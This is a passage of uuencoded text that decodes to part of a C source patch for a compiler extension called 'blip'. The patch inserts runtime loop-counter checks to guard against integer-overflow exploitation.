M:68H(6)L:7!?=FEO;&%T:6]N7V‑A;&PI(')E='5R;B!.54Q,.PT‑"BL)#0T* M*PDO*B!N;W<@=V4@=VEL;"!B=6EL9"!T:&4@0T].1%]%6%!2('5S:6YG('1H M92!G="!A<R!T:&4@8V]N9&ET:6]N#0T**PD@*B!A(&‑A;&P@=&\@;W5R(&)L M:7!?=FEO;&%T:6]N(&9U;F‑T:6]N(&EF(&‑O;F1I=&EO;B!I<R!T<G5E+"!A M;F0@#0T**PD@*B!T:&4@87)G(")E>'`B(&%S(&9A;'‑E(&5X<"!O9B!T:&4@ M0T].1%]%6%!2("HO#0T**PEC;VYD7V5X<"`](&)U:6QD("A#3TY$7T584%(L M='0L8V]N9%]T97‑T+&)L:7!?=FEO;&%T:6]N7V‑A;&PL#0T**PD)"0D@97AP M(#\@97AP(#H@:6YT96=E<E]Z97)O7VYO9&4I.PT‑"BL‑#0HK"7)E='5R;B!C M;VYD7V5X<#L‑#0HK?0T‑"BL‑#0HK#0T**R\J($‑R96%T92!A;B!%6%!27U‑4 M350@=VET:"!A($‑/3D1?15A04B!I;G‑I9&4L('=H:6‑H(&‑H96‑K(&9O<B!B M;&EP(`T‑"BL@*B!C;VYD:71I;VXN("HO#0T**PT‑"BMT<F5E#0T**V)L:7!? M8G5I;&1?8VAE8VM?<W1M="AE>'`I#0T**PET<F5E"65X<#L‑#0HK>PT‑"BLM#0HK"71R964)8VAE8VM?<W1M=#TP.PT‑"BL)=')E90EC:&5C:U]E>'`],#LM#0HK#0T**PEC:&5C:U]E>'`@/2!B;&EP7V)U:6QD7V‑H96‑K7V5X<"AE>'`I M.PT‑"BL):68H(6‑H96‑K7V5X<"D@<F5T=7)N($Y53$P[#0T**PD‑#0HK"6‑H M96‑K7W‑T;70@/2!B=6EL9%]S=&UT*$584%)?4U1‑5"P@8VAE8VM?97AP*3LM#0HK#0T**PER971U<FX@8VAE8VM?<W1M=#L‑#0HK?0T‑"BL‑#0HK#0T**R\J M"6%D9"!A($‑/3D1?15A04B!T;R!T:&4@9F]R(&EN:70@<W1M="X@5&AE(&%D M9&ET:6]N(&‑H96‑K('=I;&P@8F4@:6X@80T‑"BL@*@EF;W)M870@;V8@82!N M97<@15A04E]35$U4(&)Y(&UA:VEN9R!T:&4@8W5R<F5N="!F;W(@:6YI="!S M=&UT(&$@#0T**R`J"4‑/35!/54Y$7U‑4350@86YD(&‑H86EN9R!T:&4@;F5W M($584%)?4U1‑5"!A="!T:&4@96YD(&]F('1H92!E>&ES=&EN9R!O;F4N(`TM"BL@*B\‑#0HK(`T‑"BMB;V]L("`‑#0HK8FQI<%]E;6ET7V9O<E]L;V]P7V‑H M96‑K<RAF;W)?<W1M="D‑#0HK"71R964)9F]R7W‑T;70[#0T**PD)#0T**WLM#0HK#0T**PET<F5E"69O<E]I;FET.PT‑"BL)=')E90EC;VUP;W5N9%]E>'!R M.PT‑"BL)=')E90EB;&EP7V5X<#L‑#0HK#0T**PEF;W)?:6YI="`]($9/4E]) M3DE47U‑4350@*&9O<E]S=&UT*3L‑#0HK#0T**PDO*B!(86YD;&4@;VYL>2!C M87‑E<R!W:&5R92!F;W(@:6YI="!I<R!E>'!R97‑S:6]N+B`J+PT‑"BL):68H M5%)%15]#3T1%("AF;W)?:6YI="D@(3T@15A04E]35$U4*2![#0T**PD)8FQI M<%]W87)N:6YG*$Y%7T9/4BP‑#0HK"0D)(F)L:7`Z(&9O<B!I;FET(&ES(&YO M="!%6%!27U‑4350B*3L)#0T**PD)<F5T=7)N(&9A;'‑E.PT‑"BL)?0T‑"BL) M#0T**PDO*B!B=6EL9"!A(&)L:7`@8VAE8VL@=7‑I;F<@=&AE(&=L;V)A;"!L M;V]P7VQI;6ET("HO#0T**PEB;&EP7V5X<"`](&)L:7!?8G5I;&1?8VAE8VM? M97AP*$Y53$Q?5%)%12D[#0T**PEI9B@A8FQI<%]E>'`I>PT‑"BL)"6)L:7!? M=V%R;FEN9RA.15]&3U(L#0T**PD)"2)B;&EP.B!I;G1E<FYA;"!F86EL=7)E M('=H:6QE(&)U:6QD:6YG(&‑H96‑K(&5X<')E<W‑I;VXB*3L)#0T**PD)<F5T M=7)N(&9A;'‑E.PT‑"BL)?0T‑"BL‑#0HK"6EF*%12145?3U!%4D%.1"`H9F]R M7VEN:70L,"D@/3T@3E5,3%]44D5%*7L‑#0HK"0E44D5%7T]015)!3D0@*&9O M<E]I;FET+#`I(#T@8FQI<%]E>'`[#0T**PE]#0T**PEE;'‑E>PT‑"BL)"2\J M(&‑O;G‑T<F%C="!A(&YE=R!C;VUP;W5N9"!E>'!R97‑S:6]N("HO#0T**PD) M8V]M<&]U;F1?97AP<B`](&)U:6QD*$‑/35!/54Y$7T584%(L=F]I9%]T>7!E M7VYO9&4L#0T**PD)"0D)"0D)5%)%15]/4$5204Y$("AF;W)?:6YI="PP*2PM#0HK"0D)"0D)"0EB;&EP7V5X<"D[#0T**PD‑#0HK"0EI9B@A8V]M<&]U;F1? M97AP<BD@<F5T=7)N(&9A;'‑E.PT‑"BL)#0T**PD)+RH@<F5P;&%C92!C=7)R M96YT(&9O<B!I;FET(&5X<')E<W‑I;VX@=VET:"!T:&4@;F5W(&‑O;7!O=6YD M(`T‑"BL)"2`J(&5X<')E<W‑I;VX@*B\‑#0HK"0D‑#0HK"0E44D5%7T]015)! M3D0@*&9O<E]I;FET+#`I(#T@8V]M<&]U;F1?97AP<CL‑#0HK"7T‑#0HK"0TM"BL)<F5T=7)N('1R=64[#0T**PD‑#0HK?0T‑"BL‑#0HK+RH)861D(&$@0T]. M1%]%6%!2(&)E9F]R92!T:&4@5TA)3$5?4U1‑5"X@5&AE(&%D9&ET:6]N(&‑H M96‑K('=I;&P@8F4@:6X@80T‑"BL@*@EF;W)M870@;V8@82!N97<@15A04E]3 M5$U4+B!3:6YC92!W92!A<F4@8V%L;&5D(&EN(&$@<W1A=&4@=VAE<F4@=&AE M(`T‑"BL@*@E72$E,15]35$U4('=A<R!N;W0@>65T(&%D9&5D('1O('1H92!T M<F5E+B!W92!W:6QL('‑I;7!L>2!A9&0@;W5R(&‑O;F0N(`T‑"BL@*B\‑#0HK M(`T‑"BMB;V]L("`‑#0HK8FQI<%]E;6ET7W=H:6QE7VQO;W!?8VAE8VMS*"DM#0HK>PT‑"BL)=')E90EB;&EP7W‑T;70[#0T**PD)#0T**PEB;&EP7W‑T;70@ M/2!B;&EP7V)U:6QD7V‑H96‑K7W‑T;70H3E5,3%]44D5%*3L‑#0HK"6EF*"%B M;&EP7W‑T;70I(')E='5R;B!F86QS93L‑#0HK"0T‑"BL)861D7W‑T;70H8FQI M<%]S=&UT*3L‑#0HK"0T‑"BL)<F5T=7)N('1R=64[#0T**WT‑#0HK#0T**PTM"BLO*B!C;VYV97)T(&$@0T%,3%]%6%!2('1O(&$@0T].1%]%6%!2(&AA=FEN M9R!T:&4@8FQI<"!C:&5C:W,@87,@=&AE(&‑O;F0N#0T**R`J(&%N9"!T:&4@ M;W)I9VEN86P@0T%,3%]%6%!2(&%S('1H92!F86QS92!S:61E(&]F('1H92!E M>'!R97‑S:6]N+B`J+R`‑#0HK#0T**W1R964@(`T‑"BMB;&EP7V5M:71?8V%L M;%]C:&5C:W,H8V%L;"D‑#0HK"71R964)8V%L;#L‑#0HK"0D‑#0HK>PT‑"BL) M=')E90EC:&5C:U]E>'`[#0T**PT‑"BL)8VAE8VM?97AP(#T@8FQI<%]B=6EL M9%]C:&5C:U]E>'`H8V%L;"D[(`T‑"BL‑#0HK"2\J(&EF('=E(&9A:6QE9"!T M;R!C;VYV97)T('1H92!E>'`@:6YT;R!O=7(@8VAE8VLL(`T‑"BL)("H@=&AE M;B!R971U<FX@=&AE(&]R:6=I;F%L(&5X<'(@*B\‑#0HK"6EF*"%C:&5C:U]E M>'`I(')E='5R;B!C86QL.PT‑"BL‑#0HK"7)E='5R;B!C:&5C:U]E>'`[#0T* M*WT‑#0HK#0T**R\J(&‑H96‑K(&EF(&$@9&5C;"!I<R!P87)T(&]F(&$@<W1M M="!O<B!A;B!E>'!R(&%S(&$@;'9A;'5E#0T**R`J(&EF(&ET(&ES('1H96X@ M8V]N<VED97(@:70@87,@;6]D:69I960@#0T**R`J#0T**R`J(%1H:7,@9G5N M8W1I;VX@:7,@<F5C=7)S:79E(&%N9"!T:&4@<W1O<"!C;VYI=&EO;B!I<R!E M:71H97(‑#0HK("H@+2!A('‑I;7!L92!E>'!R('=A<R!F;W5N9"!W:&EC:"!A M;&QO=R!U<R!T;R!F:6=U<F4@;W5T('1H870@#0T**R`J(`D@=&AE(&1E8VP@ M:7,@;6]D:69I960N#0T**R`J("T@82!F=6YC=&EO;B!R96%C:"!A('‑T;70@ M+R!E>'!R('1O(&‑O;7!L97@@=&\@=F5R9FEY#0T**R`J(`D@*'=E(&‑A;B!C M:&5A="!I;B!F:7)S="!V97)S:6]N(&%N9"!C;&%I;2!T:&%T(&%L;6]S="!E M=F5R>71H:6YG#0T**R`J(`D@:7,@=&]O(&AA<F0@=&\@:61E;G1I9GD@<V\@ M<F5C=7)S:79E(&5N9"!W:&EL92!S=7!P;W)T:6YG(&]N;'D@#0T**R`J(`D@ M8F%S:6,@<W1U9F8@*2HO#0T**PT‑"BL‑#0HK#0T**V)O;VP‑#0HK8FQI<%]D M96‑L7VUO9&EF:65D("AD96‑L+'0I#0T**PET<F5E(&1E8VP[#0T**PET<F5E M('0[#0T**WL‑#0HK"6EN="!I.PT‑"BL)=')E90EE>'`[#0T**PD‑#0HK"6EF M*"%T*2!R971U<FX@9F%L<V4[#0T**PD‑#0HK"7‑W:71C:"A44D5%7T‑/1$4@ M*'0I*7L‑#0HK#0T**PDO*B!H86YD;&4@:VYO=VX@<VEM<&QE(&‑A<V5S('=H M:6‑H(&ES('1Y<&EC86P@=&\@8V]U;G1E<B`‑#0HK"2`J(&UO9&EF:6‑A=&EO M;G,@*B\‑#0HK"0D‑#0HK"0EC87‑E($U/1$E&65]%6%!2.@T‑"BL)"0DO*B!O M;FQY('1A:V4@8V%R92!O9B!C87‑E(&QI:V4@*ST@+3T@34]$24997T584%(@ M=VAE<F4@9&5C;"`‑#0HK"0D)("H@:7,@;VX@;&5F="!S:61E(&%N9"!A;'‑O M(&]N(')I9VAT('‑I9&4@=&]G871H97(@=VET:"!A(`T‑"BL)"0D@*B!C;VYS M=&%N="`J+PT‑"BL)"0EE>'`@/2!44D5%7T]015)!3D0@*'0L,2D[#0T**PD) M"6EF*`E44D5%7T]015)!3D0@*'0L,"D@/3T@9&5C;"`F)@T‑"BL)"0D)97AP M("8F#0T**PD)"0E44D5%7T]015)!3D0@*&5X<"PP*2`]/2!D96‑L("8F#0T* M*PD)"0E44D5%7T]015)!3D0@*&5X<"PQ*2`F)@T‑"BL)"0D)5%)%15]#3TY3 M5$%.5"`H5%)%15]/4$5204Y$("AE>'`L,2DI*7L‑#0HK#0T**PT‑"BL)"0D) M:68H5%)%15]#3T1%("AE>'`I(#T](%!,55‑?15A04BE[#0T**PD)"0D);&]O M<%]L:6UI="YD:7(@/2!)3D‑214U%3E0[#0T**PD)"0D)<F5T=7)N('1R=64[ M#0T**PD)"0E]#0T**PD)"0D‑#0HK"0D)"6EF*%12145?0T]$12`H97AP*2`] M/2!‑24Y54U]%6%!2*7L‑#0HK"0D)"0EL;V]P7VQI;6ET+F1I<B`]($1%0U)% M345.5#L‑#0HK"0D)"0ER971U<FX@=')U93L‑#0HK"0D)"7T‑#0HK#0T**PD) M"0ER971U<FX@=')U93L‑#0HK"0D)?0T‑"BL)"0EE;'‑E#0T**PD)"0ER971U M<FX@9F%L<V4[#0T**PT‑"BL)"0D‑#0HK"0EC87‑E(%!214E.0U)%345.5%]% M6%!2.@T‑"BL)"6‑A<V4@4$]35$E.0U)%345.5%]%6%!2.@T‑"BL)"0T‑"BL) M"0EI9BAD96‑L(#T](%12145?3U!%4D%.1"`H="PP*2E[#0T**PD)"0EL;V]P M7VQI;6ET+F1I<B`]($E.0U)%345.5#L‑#0HK"0D)"7)E='5R;B!T<G5E.PTM"BL)"0E]#0T**PD)"0T‑"BL)"0EB<F5A:SL‑#0HK#0T**PD)8V%S92!03U‑4 M1$5#4D5‑14Y47T584%(Z#0T**PD)8V%S92!04D5$14‑214U%3E1?15A04CHM#0HK"0D)#0T**PD)"0T‑"BL)"0EI9BAD96‑L(#T](%12145?3U!%4D%.1"`H M="PP*2E[#0T**PD)"0EL;V]P7VQI;6ET+F1I<B`]($1%0U)%345.5#L‑#0HK M"0D)"7)E='5R;B!T<G5E.PT‑"BL)"0E]#0T**PD)"0T‑"BL)"0EB<F5A:SLM#0HK#0T**PD)8V%S92!,5%]%6%!2.@T‑"BL)"6‑A<V4@3$5?15A04CH‑#0HK M"0EC87‑E($=%7T584%(Z#0T**PD)8V%S92!'5%]%6%!2.@T‑"BL)"6‑A<V4@ M15%?15A04CH‑#0HK"0EC87‑E($Y%7T584%(Z#0T**PT‑"BL)"0DO*B!I;B!T M:&4@8V%S92!O9B!S:6UP;&4@8V]N9&ET:6]N+"!C:&5C:R!F;W(@;6]D:69I M8V%T:6]N(&]F#0T**PD)"2`J(&]N92!O9B!T:&4@<VED97,N(%1H:7,@=VEL M;"!H96QP('5S(&EN(&‑A<V5S(&QI:V4@#0T**PD)"2`J('=H:6QE*&QE;BTM M*2`J+PT‑"BL‑#0HK"0D)9F]R*&D],#MI(#P@,CL@:2LK*7L‑#0HK#0T**PD) M"0EI9BAB;&EP7V1E8VQ?;6]D:69I960H9&5C;"`L(%12145?3U!%4D%.1"AT M+&DI*2D‑#0HK"0D)"0ER971U<FX@=')U93L‑#0HK"0D)?0T‑"BL‑#0HK"0D) M<F5T=7)N(&9A;'‑E.PT‑"BL‑#0HK"0D)#0T**PD)9&5F875L=#H‑#0HK"0D) M<F5T=7)N(&9A;'‑E.PT‑"BL)"0T‑"BL)?0T‑"BL‑#0HK"7)E='5R;B!F86QS M93L)#0T**WT‑#0HK#0T**R\J(&9I;F0@82!D96‑L(&]U="!O9B!P87)E;G0@ M97AP<B!O<&5R86YD+B!M;W‑T('‑I;7!L92!C87‑E(&ES('=H96X‑#0HK("H@ M;W`@:7,@=&AE(&1E8VP@:71S96QF+B!A;F]T:&5R('‑U<'!O<G1E9"!C87‑E M(&ES('=H96X@=&AE(&]P(&ES(&$‑#0HK("H@;6]D:69Y(&]R(&EN8W)E;65N M="`O(&1E8W)E;65N="!E>'!R+"!I;B!T:&ES(&‑A<V4@=&AE(&9I<G‑T(&]P M97)A;F0‑#0HK("H@=VEL;"!B92!T:&4@;&]O:V5D(&9O<B!D96‑L+B`‑#0HK M("H‑#0HK("H@:6X@8V%S97,@;W1H97(@=&AE;B!T:&]S92P@=V4@=VEL;"!N M;W0@9FEN9"!T:&4@9&5C;"X@*B\‑#0HK#0T**W1R964‑#0HK8FQI<%]F:6YD M7V1E8VPH;W`I#0T**PET<F5E(&]P.PT‑"BM[#0T**PT‑"BL)<W=I=&‑H*"!4 M4D5%7T‑/1$4H;W`I*7L‑#0HK"0EC87‑E(%9!4E]$14‑,.@T‑"BL)"6‑A<V4@ M4$%235]$14‑,.@T‑"BL)"6‑A<V4@1DE%3$1?1$5#3#H‑#0HK"0EC87‑E($E. M5$5'15)?0U‑4.@T‑"BL‑#0HK"0D)<F5T=7)N(&]P.PT‑"BL)"0D‑#0HK"0DO M*B!I9B!S:6UP;&4@97AP<B!L;V]K(&EN<VED92XJ+PT‑"BL)"6‑A<V4@4%)% M1$5#4D5‑14Y47T584%(Z#0T**PD)8V%S92!04D5)3D‑214U%3E1?15A04CHM#0HK"0EC87‑E(%!/4U1$14‑214U%3E1?15A04CH‑#0HK"0EC87‑E(%!/4U1) M3D‑214U%3E1?15A04CH‑#0HK#0T**PD)"7)E='5R;B!B;&EP7V9I;F1?9&5C M;"A44D5%7T]015)!3D0@*&]P+#`I*3L‑#0HK"0D)#0T**PD)+RH@:6X@8V%S M92!L;V]P('9A<B!N965D(&‑O;G9E<G1I;VXL('=E('=I;&P@9FEN9"!S;VUE M(`T‑"BL)"2`J(&YO<"!E>'!R97‑S:6]N<R`J+PT‑"BL)"6‑A<V4@3D]07T58 M4%(Z#0T**PD)8V%S92!#3TY615)47T584%(Z#0T**PD)"0T‑"BL)"0ER971U M<FX@8FQI<%]F:6YD7V1E8VPH5%)%15]/4$5204Y$("AO<"PP*2D[#0T**PD) M#0T**PD)9&5F875L=#H‑#0HK"0D)<F5T=7)N($Y53$P[#0T**PE]#0T**WTM#0HK#0T**R\J(&QO;VL@:6YS:61E(&$@0T%,3%]%6%!2+"!A;F0@9FEN9"!T M:&4@9G5N8W1I;VX@;F%M92X@=&AE;B!S96%R8V@@#0T**R`J(&9U;F‑T:6]N M(&YA;64@:6X@8FQI<"!L:7‑T+"!A;F0@8W)E871E(&$@(FQO;W!?;&EM:70B M('‑T=7)C="!U<VEN9PT‑"BL@*B!T:&4@3BUT:"!P87)A;2!A<R!L:6UI="P@ M8V]N<W1A;G0@,"!A<R!C;W5N=&5R+"!A;F0@<V5T(&1I<F5C=&EO;B`‑#0HK M("H@=&\@:6YC<F5M96YT+B`J+PT‑"BMB;V]L#0T**V)L:7!?9FEN9%]C86QL M7VQI;6ET<RAC86QL+'!A<F%M<RD‑#0HK"71R964)8V%L;#L‑#0HK"71R964) M<&%R86US.PT‑"BM[#0T**PT‑"BL)=')E90EF=6YC7V1E8VPL<&%R86T[#0T* M*PEI;G0)"6DL<&%R86U?:6YD97@]+3$[#0T**PT‑"BL)+RH@=7!D871E('‑T M871I<W1I8W,@8V]U;G1E<G,@*B\‑#0HK"6)L:7!?<W1A="YT;W1A;%]C:&5C M:W,K*SL‑#0HK"6)L:7!?<W1A="YC86QL7V‑H96‑K<RLK.PT‑"BL)#0T**PEI M9B@A8V%L;"!\?`T‑"BL)"2%44D5%7T]015)!3D0H8V%L;"PP*7Q\#0T**PD) M5%)%15]#3T1%("A44D5%7T]015)!3D0@*&‑A;&PL,"DI("$]($%$1%)?15A0 M4B!\?`T‑"BL)"2%44D5%7T]015)!3D0H5%)%15]/4$5204Y$("AC86QL+#`I M+#`I*7L‑#0HK"0D‑#0HK"0EB;&EP7W=A<FYI;F<H3D5?0T%,3"PB8FQI<#H@ M8V%L;"!E>'!R(&1O;G0@:&%V92!A9&1R97‑S(&5X<'(B*3L)#0T**PD)<F5T M=7)N(&9A;'‑E.PT‑"BL)?0T‑"BL‑#0HK"69U;F‑?9&5C;"`](%12145?3U!% M4D%.1"`H5%)%15]/4$5204Y$("AC86QL+#`I+#`I.PT‑"BL):68H(%12145? M0T]$12`H9G5N8U]D96‑L*2`A/2!&54Y#5$E/3E]$14‑,('Q\#0T**PD)(41% M0TQ?3D%‑12`H9G5N8U]D96‑L*2!\?`T‑"BL)"2$@241%3E1)1DE%4E]03TE. M5$52("@@1$5#3%].04U%*&9U;F‑?9&5C;"DI*7L‑#0HK#0T**PD)8FQI<%]W M87)N:6YG*$Y%7T‑!3$PL(F)L:7`Z(&‑A;&P@8GD@<&]I;G1E<B!T;R!F=6YC M=&EO;B!N;W0@<W5P<&]R=&5D(BD[#0T**PD@("`)<F5T=7)N(&9A;'‑E.PTM"BL)?0T‑"BL‑#0HK#0T**PEF;W(H:3TP.R!S=')L96XH;&]O<%]L:6ME<UMI M72YF=6YC7VYA;64I(#X@,#MI*RLI>PT‑"BL)"6EF*'‑T<F‑M<"A)1$5.5$E& M24527U!/24Y415(@*$1%0TQ?3D%‑12`H9G5N8U]D96‑L*2DL#0T**PD)"0D) M;&]O<%]L:6ME<UMI72YF=6YC7VYA;64I/3TP*7L‑#0HK"0D)#0T**PD)"7!A M<F%M7VEN9&5X(#T@;&]O<%]L:6ME<UMI72YP87)A;5]I;F1E>#L‑#0HK"0D) M8G)E86L[#0T**PD)?0T‑"BL)?0T‑"BL)#0T**PDO*B!I9B!F=6YC=&EO;B!N M;W0@9F]U;F0@:6X@;&]O<%]L:6ME<R!L:7‑T('1H96X@9&]N="!C;W5N=`TM"BL)("H@:70@:6X@=&AE(&)L:7!?<W1A="`J+PT‑"BL):68H<&%R86U?:6YD M97@@/"`P*7L‑#0HK"0EB;&EP7W‑T870N=&]T86Q?8VAE8VMS+2T[#0T**PD) M8FQI<%]S=&%T+F‑A;&Q?8VAE8VMS+2T[#0T**PD)<F5T=7)N(&9A;'‑E.PTM"BL)?0T‑"BL)"0D‑#0HK#0T**PEP87)A;2`]('!A<F%M<SL‑#0HK"69O<BAI M/3`[(&D@/"!P87)A;5]I;F1E>"`F)B!P87)A;3L@:2LK*7L‑#0HK"0EP87)A M;2`](%12145?0TA!24X@*'!A<F%M*3L‑#0HK"7T‑#0HK"0T‑"BL):68H(7!A M<F%M*2!R971U<FX@9F%L<V4[#0T**PD‑#0HK"6QO;W!?;&EM:70N;&EM:70@ M/2!44D5%7U9!3%5%("AP87)A;2D[#0T**PT‑"BL)+RH@:68@<&%R86T@:7,@ M8V%L8W5L871E9"!U<VEN9R!A(&9U;F‑T:6]N+"!D;VYT(&EN8VQU9&4@=&AA M=`T‑"BL)("H@97AP<B!I;B!T:&4@8VAE8VLL(&ET<R!W87D@=&]O(')I<VMY M+B`J+PT‑"BL):68H5%)%15]3241%7T5&1D5#5%,@*&QO;W!?;&EM:70N;&EM M:70I*7L‑#0HK"0EB;&EP7W=A<FYI;F<H3D5?0T%,3"PB8FQI<#H@<&%R86T@ M<V5E;7,@=&\@:&%V92!S:61E(&5F9F5C=',B*3L‑#0HK"0ER971U<FX@9F%L M<V4["0D‑#0HK"7T‑#0HK"0T‑"BL);&]O<%]L:6UI="YC;W5N=&5R(#T@:6YT M96=E<E]Z97)O7VYO9&4[#0T**R`@"6QO;W!?;&EM:70N9&ER(#T@24Y#4D5M14Y4.PD‑#0HK"0T‑"BL)+RH@86QL('‑E96US('1O(&)E(&]K+"!W92!F;W5N M9"!T:&4@;&EM:71S+"!A;F0@=V4@8V%N(`T‑"BL)("H@8V]N=&EN=64@=VET M:"!E;6ET:6<@=&AE(&)L:7`@8VAE8VLN("HO#0T**PD‑#0HK"7)E='5R;B!T M<G5E.PT‑"BM]#0T**PT‑"BL‑#0HK+RH@3&]O:R!I;G‑I9&4@82!L;V]P(&‑O M;F1I=&EO;BX@9FER<W0@8VAE8VL@:68@8V]N9&ET:6]N(&ES('1O;R`‑#0HK M("H@8V]M<&QI8V%T960N(&EF(&ET(&ES+"!R971U<FX@3E5,3"`O+R!&25AM12!R961U8V4@(F‑O;7!L:6‑A=&5D(B!S970‑#0HK("H‑#0HK("H@9F]R(&5A M8V@@9&5C;"!I;B!T:&4@8V]N9&ET:6]N+"!C:&5C:R!I9B!D96‑L(&ES(&UO M9&EF:65D(&5I=&AE<@T‑"BL@*B!I;B!C;VYD(&]R(&5X<'(N(&EF(&ET)W,@ M;6]D:69I960@8V]N<VED97(@:70@87,@=&AE(&‑O=6YT97(N#0T**R`J(&EF M(&UO<F4@=&AE;B!O;F4@8V]U;G1E<B!F;W5N9"!R971U<FX@3E5,3"X@*B\M#0HK#0T**V)O;VP‑#0HK8FQI<%]F:6YD7VQO;W!?=F%R<RAC;VYD+&5X<'(I M#0T**PET<F5E"6‑O;F0[#0T**PET<F5E"65X<'([#0T**WL‑#0HK#0T**PET M<F5E"61E8VP],#L‑#0HK"6EN=`D):2QN=6U?;6]D:69I960],#L‑#0HK#0T* M*PEI9B@A8V]N9"D@<F5T=7)N(&9A;'‑E.PT‑"BL)#0T**PDO*B!F:7)S="!V M97)S:6]N('=I;&P@<W5P<&]R="!O;FQY('9E<GD@<VEM<&QE(&‑O;F1I=&EO M;G,@*B\)#0T**PES=VET8V@H5%)%15]#3T1%("AC;VYD*2E[#0T**PD)8V%S M92!,5%]%6%!2.@T‑"BL)"6‑A<V4@3$5?15A04CH‑#0HK"0EC87‑E($=%7T58 M4%(Z#0T**PD)8V%S92!'5%]%6%!2.@T‑"BL)"6‑A<V4@15%?15A04CH‑#0HK M"0EC87‑E($Y%7T584%(Z#0T**PT‑"BL)"0DO*B!F:6YD(&1E8VP@=VEL;"!G M970@86X@;W!E<F%N9"!A;F0@<F5T=7)N('1H92`B;6%I;B(‑#0HK"0D)("H@ M9&5C;"!T:&%T(')E<')E<W0@:70N(`T‑"BL)"0D@*B`‑#0HK"0D)("H@4VEN M8V4@=&AI<R!O<&5R86YD(&ES('!A<G0@;V8@=VAA="!W92!H;W!E(&$@8V]U M;G1E<@T‑"BL)"0D@*B!C;VYD:71I;VXL(&ET<R!G;VEN9R!T;R!B92!E:71H M97(@=F%R+W!A<F%M(&1E8VP@;W(@#0T**PD)"2`J(&%N(&5X<'(@=VAI8V@@ M;W5R(')E<75E<W1E9"!D96‑L(&ES('!A<G0@;V8N("HO#0T**PD)#0T**PTM"BL)"0EF;W(H:3TP.R!I(#P@,CL@:2LK*7L‑#0HK"0D‑#0HK"0D)"61E8VP@ M/2!B;&EP7V9I;F1?9&5C;"A44D5%7T]015)!3D0@*&‑O;F0L:2DI.PD)"0TM"BL)"0D):68H(61E8VPI>PT‑"BL)"0D)"6)L:7!?=V%R;FEN9RA314Q&7T‑( M14‑++`T‑"BL)"0D)"0D)(F)L:7`Z(&‑A;G0@9FEN9"!L;V]P(&1E8VP@:6X@ M8V]N9&ET:6]N(BD[#0T**PD)"0D)+RH@8V]N9&ET:6]N('1O;R!C;VUP;&5X M+"!R971U<FX@*B\‑#0HK"0D)"0ER971U<FX@9F%L<V4[#0T**PD)"0E]#0T* M*PT‑"BL)"0D)+RH@8VAE8VL@:68@9&5C;"!I<R!M;V1I9FEE9"X@=V4@:&]P M92!T;R!G970@80T‑"BL)"0D)("H@;6]D:69I8V%T:6]N('‑U8V@@87,@:6YC M<F5M96YT(&]R(&1E8W)E;65N=`T‑"BL)"0D)("H@<VEN8V4@=V4@:&%V92!T M;R!K;F]W('1H92!L;V]P(&1I<F5C=&EO;B`J+PT‑"BL)"0D):68H*&)L:7!? M9&5C;%]M;V1I9FEE9"AD96‑L+&‑O;F0I('Q\#0T**PD)"0D)(&)L:7!?9&5C M;%]M;V1I9FEE9"AD96‑L+&5X<'(I*2E[#0T**PD)"0D)#0T**PD)"0D);G5M M7VUO9&EF:65D*RL[#0T**PD)"0D);&]O<%]L:6UI="YC;W5N=&5R(#T@9&5C M;#L‑#0HK"0D)#0T**PD)"0D)#0T**PD)"0E]#0T**PD)"0DO*B!I9B!N;W0@ M;6]D:69I960@;6%Y8F4@:71S('1H92!L:6UI="`N<V%V92!I="`‑#0HK"0D) M"2`J(&EN(&‑A<V4@=&AA="!W92!W:6QL(&9I;F0@;W1H97(@87,@8V]U;G1E M<B`J+PT‑"BL)"0D)96QS97L‑#0HK"0D)"0EL;V]P7VQI;6ET+FQI;6ET(#T@ M9&5C;#L‑#0HK"0D)"7T‑#0HK"0D)?0D‑#0HK"0D)#0T**PD)"6EF*&YU;5]M M;V1I9FEE9"`]/2`Q*7L‑#0HK"0D)"7)E='5R;B!T<G5E.PT‑"BL)"0E]#0T* M*PD)"0T‑"BL)"0DO*B!W92!D:61N="!F;W5N9"!O;F4@*&%N9"!O;FQY(&]N M92D@;6]D:69I960@9&5C;"X@#0T**PD)"2`J('‑O('=E(&1O;G0@:VYO=R!W M:&EC:"!I<R!T:&4@;&EM:70@*&EF(&%T(&%L;"!E>&ES="D@*B\‑#0HK"0D) M:68H;G5M7VUO9&EF:65D(#T](#`I>PT‑"BL)"0D)8FQI<%]W87)N:6YG*%‑% M3$9?0TA%0TLL#0T**PD)"0D)(F)L:7`Z('=H:6‑H(&QO;W`@=F%R(&ES(&UO M9&EF:65D/R`H8F]D>2!N;W0@<V5A<F‑H960I(BD[#0T**PD)"7T‑#0HK"0D) M96QS97L‑#0HK"0D)"6)L:7!?=V%R;FEN9RA314Q&7T‑(14‑++`T‑"BL)"0D) M"2)B;&EP.B!M;W)E('1H96X@;VYE('9A<B!I<R!M;V1I9FEE9"P@=VAO(&ES M(&‑O=6YT97(_(BD[#0T**PD)"0D‑#0HK"0D)?0T‑"BL)"0ER971U<FX@9F%L M<V4[#0T**PD)"0T‑"BL)"0T‑"BL)"61E9F%U;'0Z#0T**PD)"6)L:7!?=V%R M;FEN9RA314Q&7T‑(14‑++`T‑"BL)"0D)"2)B;&EP.B!C;VYD:71I;VX@:7,@ M=&]O(&‑O;7!L97@@9F]R('1H:7,@=F5R<VEO;B(I.PT‑"BL)"0ER971U<FX@ M9F%L<V4[#0T**PE]#0T**PD‑#0HK?0T‑"BL‑#0HK#0T**R\J(&‑H96‑K(&9O M<B!L;V]P(&QI;6ET<RX@:68@;&]O<"!S965M<R!T;R!B92!A(&‑O=6YT(&QO M;W`L(`T‑"BL@*B!E;6ET(&‑O9&4@=&\@8VAE8VL@;&]O<"!C;W5N=&5R(&EN M(')U;BUT:6UE+B!T:&%T(&‑O9&4@=VEL;`T‑"BL@*B!M86ME('‑U<F4@=&AE M(&‑O=6YT97(@:7,@;F]T('1O;R!B:6<@*&%S(')E<W5L="!O9B!I;G0@;W9E M<F9L;W<‑#0HK("H@97AP;&]I=&%T:6]N*2`J+PT‑"BL‑#0HK("`@#0T**W1R M964‑#0HK8FQI<%]C:&5C:U]L;V]P7VQI;6ET("AT*0T‑"BL@("`@('1R964@ M=#L‑#0HK>PT‑"BL)+RH@3&]O<"!P87)T<R`J+PT‑"BL)=')E90ER97‑U;'0] M=#L‑#0HK#0T**PDO*B!)9B!W92!A<F4@;F]T(&%S:V5D('1O(&)L:7`L(')E M='5R;B!T:&4@=')E92!W92!G;W0@*B\‑#0HK"6EF*"%F;&%G7V)L:7`I(')E M='5R;B!R97‑U;'0[#0T**PT‑"BL)+RH@268@=&AE('1R964@=V4@9V]T(&ES 